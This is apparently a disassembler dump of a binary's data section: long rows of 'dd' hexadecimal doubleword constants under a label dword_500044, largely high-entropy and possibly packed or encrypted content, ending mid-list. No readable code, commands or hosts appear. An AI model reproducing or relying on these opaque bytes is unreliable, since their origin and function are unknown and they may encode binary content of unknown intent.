0AB00A673h, 472E3996h, 28D9E997h, 20CB460Dh dd 5F4A143Dh, 83047348h, 1147BF66h, 892F2624h, 1A810F8Bh dd 396582B4h, 31BA001Ch, 4E317F6Fh, 0BE8D061h, 3AA22980h dd 0B6645E26h, 0B2E59804h, 0E981B4D0h, 5A03011Dh, 814E3264h dd 0C1A0514Eh, 126305Dh, 6FC21CCh, 590C61E9h, 0FC6F08B8h dd 5B01A70Fh, 12ED9FC6h, 9D846A66h, 70AD195h, 26799D89h dd 2E7A61BFh, 50612649h, 0A525BD01h, 163A2F20h, 1723B33Ah dd 8C9D5F0Eh, 0CB942F1h, 2D78F93Ch, 560E90Eh, 3975222Bh dd 68A31A83h, 3D5AC4FFh, 4B179120h, 5FB840E9h, 0D9CCBE65h dd 0BAB54A00h, 5EA2C24Dh, 0ADFC0248h, 61737809h, 4E91B065h dd 6357C664h, 89A6135Fh, 87CB7Ch, 0A4C35747h, 7F5BC109h dd 680FE228h, 20C41F8Eh, 0F38C209Bh, 82FE98B0h, 0F6EDCBA4h dd 290A27C4h, 6810F995h, 9912CD68h, 9962D5C8h, 0C01D94B7h dd 318E88Ah, 83AE9C60h, 0D2925890h, 0EFE4BB07h, 1CD39D1Ah dd 82B88A7Fh, 42A959Dh, 0A176E05Fh, 6748244Fh, 0BA66822Fh dd 0BF4294EEh, 8098B55Ah, 0B7D80345h, 118591D3h, 0E181000Eh dd 6AE82064h, 22504AE9h, 8F41D616h, 8F2F5133h, 5872BD39h dd 0B4BDC88Dh, 6094E476h, 0F840A49Ch, 1F1132BAh, 41CA64B2h dd 7FDD7883h, 87E52C76h, 4A90C1C5h, 9FD977Bh, 619874E1h dd 81884DC5h, 106A022Dh, 0D4592B5h, 57281A91h, 81AD7DBAh dd 0F5EC585Fh, 2B15E92Ah, 0D9107D29h, 0B5C28947h, 0DC840B1Bh dd 0F290F250h, 0F1E3014h, 818F8D48h, 74B34AB9h, 49AEC8E2h dd 0AE3AC53h, 12F58D0Bh, 72E849AAh, 0CC0AD281h, 8D29BCB0h dd 1E241344h, 5D926083h, 64BBD96Ch, 0BB5415C3h, 4B93E761h dd 0DF912EFFh, 0DE45E10Bh, 0EA5E088Dh, 5F80CA2Eh, 0FE68BF01h dd 42644C4h, 1FAAF832h, 90860F22h, 208D03DAh, 5B82224Dh dd 0FA944851h, 535D9224h, 8F289160h, 6886F708h, 0C69E66C1h dd 1C467Eh, 27B00790h, 2CF1A7E5h, 700D7134h, 60D0CF5Fh dd 6B1701BAh, 80683FC7h, 0BD092385h, 49962761h, 0E80A5B7h dd 9AAA738h, 2851288Dh, 40C7966Ah, 72AA7334h, 8133C800h dd 3C47FD35h, 0B6860468h, 0CE6A7D9Ah, 0CF18C880h, 0BE2E7EC0h dd 0EB118AC7h, 1F0E11E8h, 8D00B162h, 9669DC38h, 0B9FD9F00h dd 7A56E3F4h, 204F9089h, 5F313045h, 11E91060h, 61B3B200h dd 0C04D6864h, 0FE02CCh, 0AF7E5FF0h, 5BFF01BFh, 312141F2h dd 2D488074h, 50B09A8Bh, 5F867309h, 0AB0E0434h, 0D2553298h dd 0D2BF1E6Dh, 0EAFB9702h, 0A0961EE2h, 594EBDF6h, 107EE41Fh dd 313BFE19h, 3721B919h, 20C42BDh, 25A31D61h, 88E80E02h dd 9000C91Dh, 2F3AE590h, 0D80B4A0Bh, 2C180A38h, 0ADC0B961h dd 389F3230h, 4D405AF5h, 34C304Bh, 31FFD3B1h, 0F22AF8D0h dd 2B6000EFh, 3555A9Dh, 61D2B1EEh, 0FBA22650h, 0C296C0E4h dd 1214465Eh, 9B8FFCF4h, 42FED888h, 60F8F2D8h, 960ADD74h dd 95318E10h, 0CB22EF3Dh, 930B2301h, 8D161071h, 15205F1Eh dd 0D8D066h, 150F5FC7h, 82C5ACAFh, 3D6D0300h, 0E824A004h dd 96A54C71h, 7714E902h, 50696A5Fh, 0B0B327F9h, 514CBF84h dd 0ED63DFDEh, 0F0232B00h, 2AAC7E0Ah, 85320605h, 0E4C5046Fh dd 0E457FE16h, 9E91A135h, 8C372A59h, 4A875C02h, 96C95F13h dd 38567160h, 97B5A079h, 0E6A9887h, 5E5B1FDBh, 84122CE7h dd 0AD3B8174h, 8777AE1Ch, 0CF5B4D69h, 80E9FCA0h, 0CF0481E4h dd 79AC2712h, 2C7204A2h, 59DBD6BFh, 0BE47C24Fh, 48611BC4h dd 63C1F447h, 2019DF05h, 0A809D38Bh, 0B240297Dh, 758C18FEh dd 14EE008Eh, 0C0A64601h, 241EBC62h, 0E98978D4h, 2E0BE431h dd 5210252Dh dword_500044 dd 1711B89Dh, 947C4B87h, 0D960C3B7h, 10E95759h, 2EA410F1h dd 1A2332h, 64EF0EA2h, 794C0131h, 0B3FD174Ch, 683A2665h dd 3A001923h, 8E0D11C7h, 3D26BB76h, 30CD20F6h, 8005A4B9h dd 0F51A89D2h, 0C8F51029h, 76DD9401h, 2C011D46h, 33A86EF8h dd 0B7DDC061h, 0A1601328h, 0EE4AB54Fh, 0A108FE5Eh, 0DB611421h dd 2F61110h, 0F75C180h, 8156808Eh, 13E114E7h, 0E500CBBh dd 16B0F93Ah, 1904016Ah, 112021Dh, 0CE9B9C0Fh, 4F5B7509h dd 0C01DC895h, 0CB050145h, 6D439B02h, 46143D7Dh, 772E074Eh dd 0C023E642h, 0F3D89CAAh, 0D2DADC0Ah, 2B11E533h, 558D2674h dd 264AA114h, 11E00137h, 7612CE80h, 870F159Ch, 48CA027Eh dd 46385C13h, 958B0BD2h, 0D45288Dh, 0A93D8488h, 181CD14Eh dd 0C8E80045h, 8692A4E9h, 6EC46318h, 0D48A1AE5h, 30982050h dd 0B94116E9h, 2624B009h, 2C9C308h, 41F8B77Ah, 0D452AD48h dd 4AA5C61h, 9873D9C9h, 0CF3C8BA8h, 1F991231h, 1833B09Dh dd 286FF901h, 0C4888268h, 6E002EEEh, 928774C6h, 3FAB67F7h dd 60333301h, 0C7D0C366h, 71328523h, 4C5F812Eh, 0CDFC5690h dd 87C38B58h, 45B81EE6h, 18033CD7h, 0AEBF9649h, 2398221Ch dd 0B1F9E0C2h, 0C623921Eh, 0DCECDAh, 89833F7Fh, 8B6269B0h dd 8F13013Dh, 41E566FAh, 2BFDBD09h, 0C1066415h, 110B852Ch dd 8CFFF63Ah, 41B849A9h, 0DDF6F462h, 32474426h, 7F5FE7Ch dd 6E6F8F20h, 501D1975h, 0A9918C26h, 14D9A330h, 4A90E118h dd 28530244h, 40C58B59h, 7405BA28h, 0E9052C14h, 18FB1C00h dd 6B09BEh, 0CF9E3AAAh, 0AD4039A0h, 57108500h, 7E4FDA13h dd 56327E9h, 19611122h, 0F631B521h, 17BF6600h, 1A481348h dd 66EAA3C3h, 583C03F4h, 0B5F2D0E0h, 2147A890h, 0DBC26B2Eh dd 399D2902h, 827C8A1Eh, 5177D08h, 27EDBD0Bh, 0F0F1C4A2h dd 0FE728B1Bh, 0D181F301h, 37DC3993h, 0BDF83D49h, 232F5F45h dd 5C3EFB1Ch, 0BF91589h, 68B68128h, 0AD71D18Bh, 3739831h dd 903FD9E2h, 488ABCD9h, 16E80DCEh, 0D863048Ch, 0C22960E0h dd 0F8003061h, 0C3F38A61h, 0D58D01C4h, 0BDC188EDh, 0E80FA566h dd 3E05909Dh, 0CC8B3324h, 416485E6h, 6E004B77h, 5BA3DB3h dd 37606F6h, 0E29622F3h, 0EDD955D1h, 13AF243Fh, 2C5F5A80h dd 1530D88Bh, 5333C7FDh, 0F7F89F2h, 43E7DBF5h, 6DE5043h dd 0FE1520C2h, 345B1905h, 0E3E9D97Ah, 222AC425h, 7042D89h dd 2A051961h, 0CE8995F9h, 0C415C862h, 6753F0FBh, 1877FE15h dd 0D71F2694h, 0BA014F48h, 4B80C8CCh, 0C8BBE30h, 9606AF8h dd 17A23024h, 0A4CD7609h, 890F53C1h, 19FC2CC2h, 7500640h dd 33DA8160h, 966B3B5h, 52C11A1h, 44E9D9A0h, 0AB1C7E08h dd 0A469CCEh, 0A01E6E62h, 7016ACE5h, 0C689468h, 671F98Bh dd 35CC398Bh, 835B2CC1h, 0E0DDDED3h, 128D7261h, 91B6FA2h dd 0A6E2E1B3h, 0F770CB53h, 8B0F2857h, 735A983Eh, 905A81A5h dd 51090A61h, 0B6B25FF8h, 6570C6FBh, 0FD5B3DD4h, 0C6216882h dd 0FD81D6F5h, 73FBBCDAh, 53FF004Ch, 3A64E25Bh, 0EAD00188h dd 84A3D108h, 3EE73668h, 7A208781h, 848F6390h, 38E2A4Dh dd 19ACF65Ch, 0BFD4028Ch, 7CA0AC1Ch, 8B13CCD0h, 0BD301840h dd 0F36A40Dh, 2474AD89h, 985D6A60h, 0DB0C7B2h, 5430104Ah dd 5CF3BA66h, 22B2743Fh, 99952B21h, 3D114A68h, 830F068Ch dd 8145015Ah, 0E9E88E94h, 0BF52882Eh, 852D1F39h, 963D5F67h dd 0A73E1C48h, 4025B61h, 0FF8055B8h, 0B0121F9Ch, 0AA7D800h dd 95F6B21Bh, 0BC3B09A1h, 21E6FECFh, 145C0DA2h, 0F913FBA4h dd 0C8911BCDh, 0F7B90205h, 0C82ECAC2h, 0EDD19541h, 0D14CAE39h dd 2282FEDEh, 911B7F18h, 0C6E20BC7h, 0C6083F0Bh, 4A925C0Bh dd 0DD1A5124h, 91D8EA09h, 0CEC9E9h, 1A75B529h, 4DC710B4h dd 0BF0D3B08h, 0F266C7F9h, 0CDB6084Ch, 0CC3E5240h, 0BC180159h dd 8488EEBAh, 3917E83Fh, 6223FD08h, 0B25080Dh, 8D0F5905h dd 95232501h, 0EE493215h, 6231F912h, 2FF911F8h, 0C8D34178h dd 20810166h, 5D1809C2h, 0A7030DA0h, 0A6CD3F69h, 112E9DDh dd 0BCA12143h, 0CF4B0217h, 78C018E7h, 0F15C4EE9h, 0F58A41ECh dd 0B8352B2Ah, 1623C02Eh, 22071201h, 0C8C9CA8Bh, 0DDF11023h dd 0DD841F07h, 884E2E07h, 2905010Eh, 8F9992A9h, 16883B8Eh dd 0B0B313C0h, 3CC3A4E8h, 94841768h, 0C396F406h, 1B708742h dd 60E85A60h, 2E355CB8h, 93F2C3Ah, 0CF5112B5h, 41AA108h dd 0C80204E9h, 25D46504h, 0FC1918DFh, 0BC8C0FCEh, 269A2C2h dd 0D1809CF2h, 8482526Bh, 0B3D4FE11h, 0FDBFF181h, 2DA83AE9h dd 2D115450h, 0BAFA4021h, 0C0057A71h, 0D78B407Bh, 84A22424h dd 14AAD07h, 2BCE00DCh, 791CAF68h, 0CA00F8BEh, 25FA454h dd 812300D7h, 0B07F71D2h, 6A315A59h, 1DA56C34h, 111E226Bh dd 609A4FC6h, 74CCEA6h, 1621054h, 0DB8C6601h, 2004C3F6h dd 5E8AFC84h, 6856609Eh, 0A823B852h, 46AC29Ch, 710EAC1h dd 0FB816476h, 4284F291h, 6847012Dh, 0EC18AC9Bh, 8B04621Eh dd 4F1E90F0h, 26613B68h, 17580FBh, 0C1592A87h, 286A537Dh dd 85188556h, 753075C0h, 15986841h, 2ADB8764h, 9D42D0A6h dd 0A4684CC1h, 5A80C9E7h, 9D8B0820h, 5B12BF84h, 5C4F9404h dd 9152B54h, 9FD203C7h, 0C2843ECh, 85130702h, 0AE620649h dd 4702AD6Ah, 0A4B52E0Ch, 1411A28Bh, 68450267h, 92A5F797h dd 1C2D1102h, 0C0267CDh, 53752858h, 0B46D6032h, 914E1AA1h dd 0CB26960Ch, 64B69434h, 92D8B829h, 0CBF9E830h, 84231F5Fh dd 0C683D8E8h, 6483122h, 38E16FEh, 7ED65732h, 64D7021Fh dd 5A8035FFh, 31850956h, 597F1FB2h, 0F258928h, 55C8604Bh dd 0F43B0099h, 1ADC4B5h, 2F2C4EDDh, 0E9080A9Eh, 0FA5A1909h dd 60B5A549h, 862CDDBBh, 66B7045h, 24BAA0E9h, 9A1E9120h dd 0D95E455Ch, 0DD232B81h, 1A8A95h, 29DBD80h, 85578BFDh dd 0F10C5145h, 16ED1816h, 466DCCDh, 9589E947h, 0E0CAF648h dd 12127AC9h, 0BDB33DDh, 0FAFC5A9h, 0BC4C009h, 0E401C200h dd 16F2230Dh, 4081B089h, 40005A13h, 0B073F0Fh, 0B5058F64h dd 4C47490h, 4595890Bh, 6F18D21Bh, 0FBEB3949h, 0B845182h dd 0C9F43327h, 14E9DDD1h, 72B4D7BAh, 0D1DC0921h, 90801D52h dd 8133C70Ch, 3DFF21A4h, 0B8338303h, 0C8140415h, 2C828BC3h dd 5020860Ch, 0ED815D09h, 8B3F2244h, 4B1B8A83h, 15323508h dd 5D350C89h, 80E3DB4Fh, 0FDFC786Ch, 824D4B88h, 29001058h dd 9124818Dh, 923A1AEBh, 46742374h, 0B64E0016h, 0BD0950D2h dd 0AE659265h, 0DCB1B6A0h, 34E7A301h, 2A06D25Fh, 655A203Fh dd 3702FDE5h, 50CD1962h, 25C84E36h, 67E6800Fh, 4E02F920h dd 0B82840B9h, 4855D704h, 81640500h, 65BB0DF7h, 868503D4h dd 34B640BAh, 0E8EAD187h, 0ED0C9D5Fh, 5868FBC0h, 4C75564Dh dd 4F71BF0Ah, 4E6FCD1Ch, 41AA4B48h, 2D72C1AFh, 538DC47Dh dd 753F2100h, 2C96E4B4h, 0EB9B0AB3h, 92D5BAD2h, 421951Fh dd 570BE962h, 3D10053Bh, 23918404h, 0A117F822h, 0AD99C220h dd 12850130h, 0A6031465h, 3A4FF069h, 0F26626C1h, 0BAD969DDh dd 0D41DD105h, 12758404h, 0AB7FA7B2h, 0EA770BCh, 35382E31h dd 70012B3Ch, 63007845h, 69747065h, 73206E6Fh, 14667649h dd 0C616D72h, 796C6A50h, 7C734865h, 0C7082037h, 68745364h dd 6C369CEFh, 6977CCE3h dd 63FC67FCh, 73FE64F4h, 0FD7C28DFh, 5A4061CBh, 2EFDF188h dd 66D2A9Dh, 16685420h, 797B6B76h, 0A37757Fh, 1FA040Dh dd 30702863h, 43627346h, 4C3A5254h, 0D1D9FF2Bh, 1EB3699Eh dd 0A06C6497h, 5470A18Fh, 796C0879h, 0A627F69h, 29647261h dd 3E422036h, 73A96556h, 3DBF3F99h, 1EE525BCh, 63870143h dd 524E496Bh, 4F38640Fh, 0F544755h, 0F46F7250h, 0DA0F421Dh dd 30F323Bh, 437469E6h, 1E900F3Dh, 1A5095B7h, 1E3A188Eh dd 6D04AADEh, 2D210332h, 0A9810401h, 226BABB0h, 7861AFCh dd 805C2568h, 19C0365Dh, 32F03A24h, 0A2FA19D0h, 0CA98C407h dd 2C242E16h, 0E1B01D8Ah, 0FC104D16h, 1CFEA225h, 0AB14046h dd 8D7D0B33h, 0AB381264h, 380E648Dh, 2648D94h, 6F8D9C38h dd 15A3E250h, 2D080C23h, 0A2E90B20h, 450FE4D9h, 958A7004h dd 1E91880Dh, 2422D94Bh, 2F05089Bh, 0F8C28104h, 885E16ACh dd 955E8D9Eh, 34529021h, 0C3402883h, 0F2EF3BD4h, 3FC41175h dd 22400CD1h, 9D8B2A55h, 4CC32F13h, 6865A50Ah, 2250C411h dd 54421EFEh, 0E2330A10h, 0F0E1158h, 2115C21h, 559FDC52h dd 68A2AF0Dh, 5A29CD28h, 64480C37h, 190E3202h, 0E2A00D0Ah dd 42FA4506h, 1C4CF40Ah, 0E612C42h, 7A030D05h, 3224162Ch dd 1624406Ah, 9C1996h, 530109EFh, 0C8C11273h, 55EAAD5Ah dd 0EEF97C00h, 0A3132E4Dh, 0DF8B004Eh, 0F3E3805Eh, 0F430C681h dd 0B2602E6Ch, 8E0F2FA1h, 803AE7E5h, 1A6EFA14h, 4A6356h dd 0DC3DF5E7h, 0DBA617Ch, 0FE901B4Fh, 38B3F55h, 0C081FC06h dd 61A813CFh, 4BDC8D0Fh, 0EBAD1830h, 608BFC9Eh, 0A2A10FBh dd 0F2E3712h, 0BB43B382h, 11E0B950h, 4FF1D2h, 3AF5D2FCh dd 0DC00D85Fh, 6441DB89h, 73068F93h, 0EE8103B3h, 739C4EF2h dd 0DC1DE77h, 0EA835F51h, 1822B32Ch, 0E996B10Ch, 0A0F2Ch dd 46141552h, 0EFD4A993h, 451CD3F2h, 0E504995Dh, 56A4E8AAh dd 22DF0066h, 0ED18204Ah, 8B04C465h, 7DE959D8h, 241EB0h dd 83D46D38h, 0A85360BAh, 52FA421Dh, 0B0165A47h, 0BF7FB720h dd 675E7277h, 0FC0C0897h, 0A8003B20h, 8AE57116h, 3822EDDh dd 0B8DBBA13h, 0B3C809A5h, 5D0E638Ch, 0A0C852FCh, 6B711079h dd 535800F9h, 0A6A30FCEh, 0B00B6E5h, 52F65E62h, 6BDFDCh dd 8360566Ah, 0FC0AE4F0h, 2D7F587Dh, 17D6AB04h, 0F6006414h dd 49AA6AC6h, 0D38820A7h, 693BC307h, 0AC53281Dh, 0BD803981h dd 86C0844Eh, 0B81E0066h, 0CECB2A7h, 36002A0Eh, 2981B365h dd 2B611ADFh, 1C90A953h, 7FB884B1h, 201362C7h, 0AD16A93Ch dd 0DAE0DF00h, 4E672EEFh, 62250C99h, 698961D3h, 30547E37h dd 19634A80h, 0DD6218EDh, 0FD432165h, 6A1B71C0h, 5055A1F9h dd 44D484E2h, 0D728617Fh, 8422286Ch, 9C0C0058h, 3C5CC7E8h dd 0F80F8A6h, 32DF0C23h, 0B8A90242h, 386B4000h, 0C6309270h dd 0A2041D9Eh, 0B9B141E5h, 57BE51h, 81557D7Bh, 0DEADE0BCh dd 72695661h, 0BF401DAEh, 33FA7EAFh, 6F0897D3h, 0A6952100h dd 0B0F4561Dh, 0E0D75AB7h, 8036574h, 3CC1E5BAh, 5228245Bh dd 329A00A2h, 121593ADh, 0BD195467h, 573B4741h, 0B3731180h dd 0A6DCACB9h, 0D4331A7Bh, 4C6C089Eh, 0B900C221h, 0E5F38605h dd 0C0006A0Ch, 69BD4CB0h, 4E144B5h, 598D2BF7h, 0A37C8260h dd 0B2C8AB31h, 2297467Fh, 0A336000Ah, 2381F516h, 0B401C0E7h dd 89AA738Eh, 0B0D253BDh, 111DAB8Ch, 8897DC4Fh, 0A392806Dh dd 4FE6A21Dh, 0CA662800h, 0B94DC820h, 71490311h, 2C59B7B1h dd 0EABC7945h, 0AC41B231h, 3048CFDCh, 0AA99886Ch, 8C8B1D00h dd 5BEA6A9Fh, 0DFAB3F5Eh, 0EDE92160h, 5D01D07Eh, 0B750D623h dd 24247FDCh, 0A05015Ah, 3CBAE545h, 0B5AC505Eh, 0F079119h dd 0C4335810h, 9683C615h, 12301E3Eh, 0A5F6834Bh, 49035D3Bh dd 0AF16517Ah, 5777B8E3h, 83A66DBh, 9D00216Eh, 0E5F81649h dd 50E2B7E6h, 3279405Fh, 0A8505817h, 0CF415431h, 284A6AE3h dd 164CA001h, 0FF816932h, 0AAA8E904h, 0CE874FB8h, 4B197AC2h dd 880DD32Ch, 0F462B46Eh, 10E002C0h, 595668E1h, 0C491440h dd 88595B6Ch, 50048CA4h, 4AE3AE16h, 9C806867h, 7FF01648h dd 0BBA224EAh, 725E019Eh, 302280E5h, 9B09E894h, 4DE5999h dd 0B160B01Ch, 0DC23551Dh, 6911C7h, 631DA998h, 445D27Bh dd 2C687FB5h, 0B63E810Ah, 0DDA1F71Ah, 51C24AEh, 5B940907h dd 8CBF1BF4h, 2A7919A6h, 4EC0BD6h, 1329B955h, 6220C517h dd 0AD30AC38h, 0DC51141Dh, 94A04CA7h, 817F1DA5h, 5C903700h dd 0E03B340Ch, 0B21C061h, 0CEF2A8ECh, 19BCA400h, 0A2788B2Ch dd 0BBDD249Dh, 8EAA11C4h, 7FB942B2h, 40C7CFh, 0D816AA3Dh dd 0DE208618h, 4DBE7C30h, 0B880144Ch, 0CEDCB1B9h, 996F448Ch dd 0F4B9B003h, 9A2AE05h, 0EB79328Eh, 6330B082h, 82A10929h dd 2F647068h, 0A6467320h, 0AF301ADEh, 0D8DB7161h, 201948EBh dd 4B93E700h, 51FC5F04h, 4EB52701h, 77710D6h, 6A5A208Eh dd 0AEADA322h, 0EC70209Ch, 0AB14A18Ch, 1D09AC18h, 9C9FDC50h dd 0A49300BCh, 0DF9CF51Dh, 0F838EB05h, 86D84A1h, 54906B3Dh dd 77E15C5h, 0F59D5A9Eh, 8DC880A4h, 0DD7259C9h, 0DF493928h dd 39CCA656h, 2B3B48AEh, 0E11CCAFh, 16A63900h, 0EE65574Dh dd 4681C222h, 0B9B20246h, 679EDCABh, 0AA9302E0h, 65601FB9h dd 0D0E53549h, 0D9C066E0h, 0A6E2EE45h, 26F00031h, 46C2D0CEh dd 0EB004EE3h, 0B317A5D7h, 3215823Ch, 5AE9723Fh, 0DF0B0497h dd 0B274245Eh, 3B77A891h, 0BBB71043h, 0E095C240h, 7C1CB42Ch dd 883C7AFBh, 153657BAh, 7CB6485Ch, 28B36459h, 7E5008FFh dd 38C7508Ch, 11EC3D16h, 72AB00E5h, 0D3FC608Fh, 0E65D5A39h dd 0C8022A1Ch, 8708DE58h, 68619D3h, 0AB951818h, 0D9613976h dd 69514360h, 1632B16h, 0B422CE7Ch, 0C8A3B9BBh, 7701BEE6h dd 62B66456h, 31AC73D7h, 320E1FC0h, 0C0E1DEA1h, 0A87C0364h dd 3006355Dh, 52E049D8h, 4E74B2AFh, 0B97E5806h, 7419233Ch dd 776B1EA4h, 0C08C045Bh, 0A2B48171h, 0F042E562h, 7904B251h dd 81AD7013h, 5C663C80h, 56AB1BDCh, 51B8085Dh, 2230DFB9h dd 61A141Bh, 4C5DF7D7h, 0B2C46B21h, 84D798F5h, 0AD1544E0h dd 25484667h, 645736E0h, 92F0C8D1h, 0C8F9158Ah, 0C8D88184h dd 70D968A0h, 632E0C72h, 5920ECDFh, 0A0D8BE3Eh, 48E08485h dd 5B3A74DEh, 6231F23Ch, 0D1EB7F18h, 72219E6Ah, 643C6B06h dd 7C212871h, 9A3C9297h, 0AEAA005Ch, 1676FB59h, 71C29A43h dd 6091D357h, 0C284D7F8h, 0ADFB0E71h, 0F80AE840h, 43550317h dd 0DDA26420h, 0B95C141Bh, 0C205FA85h, 82C5EFDh, 9D80549Ch dd 0D862BF64h, 6591C63Fh, 374510C8h, 0DEA51040h, 7E4E732Eh dd 5824B0CDh, 4829C3Dh, 20509277h, 0B22A74A4h, 0A601BCADh dd 13864CABh, 0F6B3D18Dh, 0CEC0FF79h, 0DB032724h, 0A0AE0FB9h dd 9B0732Dh, 235E9CCAh, 4B3B2C04h, 0AC9803DFh, 0E57A0AEh dd 311107F5h, 0E55B03C9h, 0FEC04064h, 16211D85h, 0A13A2571h dd 5D085C5Eh, 1C9C24C0h, 593AD88Ch, 0C388A35Fh, 0B5110032h dd 2BDF5D1Dh, 6114FB02h, 0C9D483D7h, 92A82917h, 0E960B0A0h dd 211B617Bh, 0A41AD8DFh, 0B314F454h, 8BDB0F0Ch, 8341B843h dd 65DC24D8h, 9ADE0720h, 4D6A402Eh, 0DFF8EE3Dh, 598EB60Ah dd 32C71460h, 301E2AFFh, 4F307B08h, 8114C785h, 807E4330h dd 27DE4869h, 0C581BAh dd 5F70E55Bh, 98C10C0Bh, 0FE43FC13h, 83584020h, 1BC70060h dd 62ED959Ah, 4914BD5h, 68105013h, 2126BC28h, 0B0D07B59h dd 86A60C47h, 40598235h, 6D3C5F18h, 1C330631h, 30DE6280h dd 87EAFAD9h, 2B286D01h, 9BFF1D15h, 38211C22h, 0B1AC81B9h dd 535BB8B4h, 91A39841h, 0F92AEB08h, 0CB54A455h, 27229F0Ch dd 10F34356h, 451318A3h, 3BE028FFh, 0B311CF60h, 0B05405ACh dd 0ADF403DCh, 0DE1B1CD6h, 2C147028h, 68E06020h, 1BD8F0DDh dd 5DC04063h, 9D0381C0h, 5483E34Fh, 0D5280592h, 0D41E8B10h dd 62048230h, 0A4C4B323h, 16134381h, 0DFBB2084h, 0B9C89017h dd 0F209CCDCh, 876A2214h, 4832C5ACh, 7F71C020h, 0DE5051D8h dd 0F80F3040h, 13C9091h, 0C06421B7h, 6155C57Fh, 0B8440344h dd 0BCB45126h, 0B931F318h, 23E818E0h, 8BE3800Eh, 3EA8C85Dh dd 0F85714DBh, 7C3A7DB4h, 1818E050h, 0C02593D9h, 2B5EAD30h dd 0F30E0B9Ch, 54B30952h, 8BFA8694h, 24511E30h, 730C0DE3h dd 0A8B44710h, 627418B7h, 20A53B05h, 776AE58Ch, 8F6CF0E3h dd 1AD6DE0Eh, 7830817Bh, 29804C15h, 5944E5B9h, 0C03E1162h dd 69B054D6h, 7FD48E88h, 6FE22A02h, 0E0DD33F8h, 30E79C48h dd 14216E9Dh, 800B7F7Eh, 917677CFh, 7CD07900h, 0D80512A3h dd 3D4C4B22h, 3514C810h, 5A5D500Eh, 0B83CE2E1h, 63F0CAFCh dd 5EC1CFAAh, 0BC409450h, 0A0977F3Bh, 60AFBC90h, 1843F838h dd 5FEC5090h, 29969A32h, 3A5A106Bh, 0C5090489h, 20571298h dd 92FB039Ch, 917A5000h, 5BE8B448h, 54E500BAh, 0C755EAECh dd 0F500533Ah, 0FCA51DCDh, 154C95h, 8BD10991h, 0F83F3706h dd 2BA65303h, 0A89628C8h, 0DAC45Bh, 4CC2C6E6h, 0A1CA61E7h dd 621743F4h, 0F30C4BD1h, 3E671970h, 6880F733h, 0ACA06B6Dh dd 54187C7Dh, 0EE20E6DFh, 67373E7h, 836B8B4Bh, 427F19EDh dd 3FA551C0h, 7FD9352h, 7ABA7B8Dh, 47720F7h, 0D200574Ah dd 0CC3F8F70h, 486434h, 0D3B81422h, 89EEC04Ch, 6055BE00h dd 2C8769CDh, 26139C5h, 0DCCF4200h, 0CA57F822h, 0AB8CB902h dd 405824B2h, 3D98290Ch, 0E1823FDh, 0DA7D5490h, 0E8CCC200h dd 5C3C726Ah, 5AE4003Dh, 17E3DC2Bh, 530097D4h, 0C9FB87ABh dd 310D81h, 0E27D1237h, 0AF48D04h, 72C3FF07h, 96B084C7h dd 0B3FAFCh, 229FFDE1h, 0CFA88F4Ch, 1801E475h, 9AA66FEBh dd 9C40B679h, 2C0C8B2Bh, 2A198D1h, 3C09CA4Eh, 3D389480h dd 0D7002A02h, 7CD0978Dh, 6CB8F94h, 425F1A14h, 0A0004008h dd 0A7EA53F1h, 762BB227h, 29F300B5h, 0E2E7862Dh, 0AA0FC66Ch dd 0CE85DABBh, 24D76150h, 0C63875h, 15FAC7AEh, 0AB880300h dd 0E58414B4h, 1BD50532h, 4037DDBAh, 9C7DD9FCh, 10C0A6B7h dd 49643A96h, 223B0CF4h, 5529D7D4h, 990DB00h, 0D5CF6FE8h dd 2ECF3h, 48EC639Fh, 741CA095h, 664224h, 4B58BEB0h, 0CECA0005h dd 9D79AC46h, 0A896B2AAh, 9A8D915h, 80ECBF20h, 0CB22ED96h dd 440E334Fh, 0F3F0A2C0h, 0DC1F81B7h, 8049B135h, 6350200Dh dd 0FA5D38h, 290B232Fh, 0C07EB39Ch, 518E0D18h, 30EA9541h dd 5B2AA473h, 1400B3C8h, 0A270DF58h, 63052Bh, 0BFE9EB3Bh dd 0F56B72E7h, 0EEB0A5FAh, 73006873h, 0F3EDD1BEh, 37A0380h dd 0A93CA04h, 0F5B861BCh, 5B00C859h, 44EF2217h, 0F29AE4Dh dd 0D9B71699h, 64B45AE0h, 220018C8h, 0C694AADBh, 25BC5E33h dd 0E000CCE5h, 6B75EFD1h, 480367F8h, 0D2D46AF1h, 2240980Ah dd 0B384077Bh, 0CE122BB5h, 7C0F3BC0h, 8303AB9Fh, 0D92223AFh dd 6A8E9015h, 5C7A3BC4h, 7089D92h, 885F0A58h, 12E39C40h dd 93CCA816h, 9F322421h, 231580D8h, 0B8AF8BA3h, 1BAE4115h dd 9E9900B0h, 241AF930h, 0B67F0EDBh, 0E2605ED0h, 6668EBAAh dd 1B071575h, 6DC2BBDAh, 0B845B1F0h, 0BCE739EDh, 26433685h dd 7CC40021h, 4B9231F5h, 0C3863000h, 14F42FA4h, 60BFF89Dh dd 0F10E70AFh, 0D777D9BEh, 0F81D10Ch, 986518B0h, 3B4A00F7h dd 94F9E695h, 4428C1B4h, 7B00C8FDh, 0B161A99Fh, 62BA365h dd 60CC118Ch, 0DE0121E3h, 0D7BE0F54h, 0D4205FBDh, 34A20F75h dd 82200117h, 412FFC9h, 0B9D78F01h, 9A02745Ch, 376E7880h dd 9F0F173Eh, 427DE4A0h, 7B1E46FCh, 2F00608Eh, 0CB5EED33h dd 0A2280076h, 23A1E691h, 8CF0AC3Ah, 12E15Eh, 0CEBC1C00h dd 4EFBF0h, 0A1695F3Ch, 31D6116Dh, 4881DE01h, 84A38EFCh dd 0D51834h, 3860FA9Eh, 0E6EE7152h, 0BFDDC000h, 4AABB15Dh dd 185CE04Eh, 36669BCBh, 7D24F539h, 0B003DFA1h, 0F0554D28h dd 0CAB8F6FFh, 80FCF906h, 9A96BB2Bh, 9E07728Bh, 0D5AD2F27h dd 212406h, 0DDCD1789h, 0C7A4FFA6h, 39FE8F12h, 0A0272CC3h dd 48BE363Dh, 2907E84Ah, 70E41155h, 0D4FBFDECh, 11C5E49h dd 8AA85496h, 0B670C6FCh, 8351F36h, 2AAC4027h, 0B241994h dd 0CB529000h, 8C5553E5h, 98997FB1h, 0E2B00124h, 0D0B813DBh dd 2C283Eh, 0C1D94377h, 0F0795241h, 6EC82C08h, 5D4B096Ch dd 7D14A280h, 2C96C48Eh, 0F99A2003h, 89A2007Ch, 0DA7FB8B1h dd 0EB00731Bh, 5EE2CB6Ah, 0F73C39h, 0C24AD527h, 55BA83D8h dd 30005C7Ah, 9D7E1224h, 0EA8198h, 0FFF12D6Dh, 0A6356762h dd 0D1DCEB2Ch, 688E481Eh, 60C0DD85h, 826741CAh, 39871F3Bh dd 0F4F98538h, 68AC0733h, 568DA03Ah, 